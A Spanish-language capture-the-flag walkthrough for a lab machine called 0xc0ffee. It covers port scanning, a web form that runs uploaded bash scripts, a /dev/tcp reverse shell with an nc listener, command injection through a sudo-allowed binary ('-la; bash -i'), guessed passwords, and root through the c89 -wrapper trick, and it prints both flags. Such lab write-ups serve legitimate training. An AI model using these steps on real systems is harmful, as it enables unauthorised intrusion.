CTF 0xc0ffee Intermediate

URL Download CTF = https://drive.google.com/file/d/19CO1Fvs-CDi6rmmTsbh0mN2DOdnO-T8x/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip 0xc0ffee.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh 0xc0ffee.tar

Info:

___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5

                                           
 ##   ##    ##       ####   ###  ##  #######  ######   ####       ##     ######    #####  
 ##   ##   ####     ##  ##   ##  ##   ##   #   ##  ##   ##       ####     ##  ##  ##   ## 
 ##   ##  ##  ##   ##        ## ##    ## #     ##  ##   ##      ##  ##    ##  ##  #       
 #######  ##  ##   ##        ####     ####     #####    ##      ##  ##    #####    #####  
 ##   ##  ######   ##        ## ##    ## #     ## ##    ##   #  ######    ##  ##       ## 
 ##   ##  ##  ##    ##  ##   ##  ##   ##   #   ##  ##   ##  ##  ##  ##    ##  ##  ##   ## 
 ##   ##  ##  ##     ####   ###  ##  #######  #### ##  #######  ##  ##   ######    #####  
                                         

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.20.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 07:51 EDT
Nmap scan report for 172.20.0.2
Host is up (0.000031s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Security Verification Tool
7777/tcp open  http    SimpleHTTPServer 0.6 (Python 3.12.3)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.3
MAC Address: 02:42:AC:14:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.48 seconds

Vemos que hay una pagina web y despues un servidor de python3 abierto en el puerto 7777, si vamos al servidor de python3 veremos muchos archivos pero entre ellos una carpeta llamada secret que si entramos en ella, veremos un archivo llamado history.txt y contiene lo siguiente.

En los albores del siglo XXI, España se encontraba en medio de una revolución tecnológica, donde las sombras de los servidores y el resplandor de las pantallas digitales eran el campo de batalla para los más astutos y habilidosos. Entre ellos, había un nombre que resonaba con reverencia y misterio: Álvaro López. Conocido en la comunidad cibernética como “El Fantasma de Madrid”, Álvaro era considerado el mejor hacker de España, y su habilidad para penetrar los sistemas más seguros era casi legendaria.

Álvaro comenzó su andanza en el mundo de la ciberseguridad desde una edad temprana. Lo que comenzó como un simple interés en la informática se transformó en una pasión por desentrañar los secretos más ocultos de las redes y sistemas de seguridad. Su habilidad para encontrar vulnerabilidades en sistemas aparentemente impenetrables le ganó una reputación que se extendía más allá de las fronteras de España.

Uno de los incidentes más notorios en la carrera de Álvaro ocurrió cuando se enfrentó a uno de los desafíos más complejos de su vida. Un banco internacional de renombre, conocido por su nivel extremo de seguridad, había sido blanco de un ataque, y el misterio giraba en torno a un archivo encriptado con la etiqueta "super_secure_password". Este archivo contenía información crítica sobre las transacciones de alto valor, y su protección era de máxima prioridad.

El banco había desplegado una red de seguridad impenetrable, con capas de cifrado y autenticación de múltiples factores, lo que hizo que el reto fuera aún más emocionante para Álvaro. Tras semanas de investigación y análisis de los sistemas, el Fantasma de Madrid descubrió una pequeña pero crítica vulnerabilidad en el protocolo de encriptación utilizado. Con una mezcla de astucia y técnica avanzada, pudo realizar un ataque sofisticado que permitió descifrar el contenido protegido bajo el "super_secure_password".

Sin embargo, el talento de Álvaro no radicaba solo en su capacidad para hackear sistemas; también era un maestro en la ética de la ciberseguridad. En lugar de utilizar la información para sus propios fines, utilizó su acceso para alertar al banco sobre las fallas en su sistema y proporcionar recomendaciones para mejorar la seguridad. Su acto no solo demostró su habilidad técnica, sino también su integridad y compromiso con la seguridad digital.

La hazaña de Álvaro López pronto se convirtió en una leyenda en el mundo de la ciberseguridad. El banco, agradecido por su valiosa contribución, lo recompensó generosamente y lo invitó a colaborar en la mejora de sus sistemas de seguridad. La historia de El Fantasma de Madrid se convirtió en un ejemplo de cómo la habilidad y la ética pueden coexistir en el mundo del hacking.

Con el tiempo, Álvaro siguió influyendo en el campo de la ciberseguridad, ofreciendo conferencias y talleres sobre la importancia de la protección de datos y la ética en el hacking. Su legado perduró, y su nombre se convirtió en sinónimo de excelencia en el arte de la ciberseguridad, recordado como el mejor hacker que España había conocido.

Vemos que se repite varias veces la palabra super_secure_password y si nos vamos a la pagina web del puerto 80 vemos que tenemos que meter una palabra, por lo que probaremos con esa.

Si la metemos veremos que es la correcta y nos redirigira a otra pagina web en la que podemos crear una configuracion del sistema y despues mas abajo como ejecutarla por asi decirlo.

Segunda pagina de configuracion

Si probamos a poner como nombre en la seccion Configuration Identifier por ejemplo test1.sh

Y en su contenido le metemos:

#!/bin/bash

echo 'Probando test1.sh'

Le daremos al boton de Apply Configuration y veremos que se nos creo un archivo con ese contenido, por que si nos vamos al servidor de python3 veremos que el archivo esta ahi subido y con el contenido que le metimos, ahora si vamos a ejecutar esa "configuracion" en la opcion de abajo llamada Execute Remote Configuration ponemos el nombre del archivo test1.sh y le damos al boton Fetch Configuration, por lo que vemos que nos ejecuto correctamente e interpreta codigo bash, por lo que haremos lo siguiente.

Reverse Shell

Crearemos un archivo de la misma forma llamado shell.sh y con el siguiente contenido:

#!/bin/bash

sh -i >& /dev/tcp/<IP>/<PORT> 0>&1

Info:

Configuración 'shell.sh' aplicada con éxito.

Le damos al boton de Apply Configuration y ahora veremos que se creo correctamente, por lo que seguidamente antes de ejecutarlo en la opcion de abajo estaremos a la escucha.

nc -lvnp <PORT>

Y nos vamos a la pagina web, en la opcion de Execute Remote Configuration ponemos el nombre del archivo en mi caso shell.sh y le damos al boton Fetch Configuration, ahora si nos vamos a donde teniamos la escucha veremos que se nos creo una shell con el usuario www-data.

Info:

connect to [192.168.5.145] from (UNKNOWN) [172.20.0.2] 54068
sh: 0: can't access tty; job control turned off
$

Ahora sanitizaremos la shell (TTY):

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user codebad

Si nos vamos a la /home del usuario codebad veremos los siguiente.

total 44
drwxr-xr-x 3 codebad  codebad   4096 Aug 29 13:22 .
drwxr-xr-x 1 root     root      4096 Aug 29 11:41 ..
-rw------- 1 codebad  codebad      5 Aug 29 13:22 .bash_history
-rw-r--r-- 1 codebad  codebad    220 Aug 29 11:39 .bash_logout
-rw-r--r-- 1 codebad  codebad   3771 Aug 29 11:39 .bashrc
-rw-r--r-- 1 codebad  codebad    807 Aug 29 11:39 .profile
-rwxr-xr-x 1 metadata metadata 16176 Aug 29 12:16 code
drwxr-xr-x 2 root     root      4096 Aug 29 11:49 secret

Si nos metemos en la carpeta secret/ veremos un archivo llamado adivina.txt que dice lo siguiente.

Adivinanza

En el mundo digital, donde la protección es vital,
existe algo peligroso que debes evitar.
No es un virus común ni un simple error,
sino algo más sutil que trabaja con ardor.

Es el arte de lo malo, en el software es su reino,
se oculta y se disfraza, su propósito es el mismo.
No es virus, ni gusano, pero se comporta igual,
toma su nombre de algo que no es nada normal.

¿Qué soy?

La respuesta a esta adivinanza es la palabra malware por lo que posiblemente sea la contraseña del usuario codebad.

su codebad

Y si metemos como contraseña la palabra malware veremos que es su contraseña y ya seremos dicho usuario.

Escalate user metadata

Si hacemos sudo -l veremos lo siguiente.

Matching Defaults entries for codebad on a6c7dc66c5c1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User codebad may run the following commands on a6c7dc66c5c1:
    (metadata : metadata) NOPASSWD: /home/codebad/code

Vemos que podemos ejecutar como metadata el binario code, por lo que haremos lo siguiente.

sudo -u metadata /home/codebad/code

Info:

Usage: /home/codebad/code <options>

Vemos que necesita un input por lo que le pondremos algo.

sudo -u metadata /home/codebad/code 'hola'

Info:

/bin/ls: cannot access 'hola': No such file or directory

Vemos que por detras se esta ejecutando un ls, probaremos a poner -la.

sudo -u metadata /home/codebad/code '-la'

Info:

total 44
drwxr-xr-x 3 codebad  codebad   4096 Aug 29 13:22 .
drwxr-xr-x 1 root     root      4096 Aug 29 11:41 ..
-rw------- 1 codebad  codebad      5 Aug 29 13:22 .bash_history
-rw-r--r-- 1 codebad  codebad    220 Aug 29 11:39 .bash_logout
-rw-r--r-- 1 codebad  codebad   3771 Aug 29 11:39 .bashrc
-rw-r--r-- 1 codebad  codebad    807 Aug 29 11:39 .profile
-rwxr-xr-x 1 metadata metadata 16176 Aug 29 12:16 code
drwxr-xr-x 2 root     root      4096 Aug 29 11:49 secret

Vemos que funciona, por lo que intentaremos concatenar comandos a ver si funciona.

sudo -u metadata /home/codebad/code '-la; whoami'

Info:

total 44
drwxr-xr-x 3 codebad  codebad   4096 Aug 29 13:22 .
drwxr-xr-x 1 root     root      4096 Aug 29 11:41 ..
-rw------- 1 codebad  codebad      5 Aug 29 13:22 .bash_history
-rw-r--r-- 1 codebad  codebad    220 Aug 29 11:39 .bash_logout
-rw-r--r-- 1 codebad  codebad   3771 Aug 29 11:39 .bashrc
-rw-r--r-- 1 codebad  codebad    807 Aug 29 11:39 .profile
-rwxr-xr-x 1 metadata metadata 16176 Aug 29 12:16 code
drwxr-xr-x 2 root     root      4096 Aug 29 11:49 secret
metadata

Vemos que funciona por lo que obtendremos una shell del usuario metadata de la siguiente forma.

sudo -u metadata /home/codebad/code '-la; bash -i'

Y si ahora hacemos whoami.

metadata

Veremos que somos el usuario metadata por lo que leeremos la flag.

user.txt

f5d22841e337cab01739e59cce3275e9

Escalate Privileges

Si hacemos sudo -l veremos que necesitaremos una contraseña, por lo que buscaremos a ver donde puede haber alguna pista.

Si vamos a /usr/local/bin veremos un binario llamado metadatosmalos con un contenido que no importa mucho y los permisos normales, por lo que probaremos a meter como contraseña el nombre del binario.

sudo -l

Metemos como contraseña metadatosmalos y veremos que funciona.

Matching Defaults entries for metadata on a6c7dc66c5c1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User metadata may run the following commands on a6c7dc66c5c1:
    (ALL : ALL) /usr/bin/c89

Vemos que podemos ejecutar como root el binario c89 por lo que haremos lo siguiente.

URL = https://gtfobins.github.io/gtfobins/c89/#sudo

sudo c89 -wrapper /bin/sh,-s .

Y con esto ya seremos root, por lo que leeremos la flag.

root.txt

d6c4a33bec66ea2948f09a0db32335de

Last updated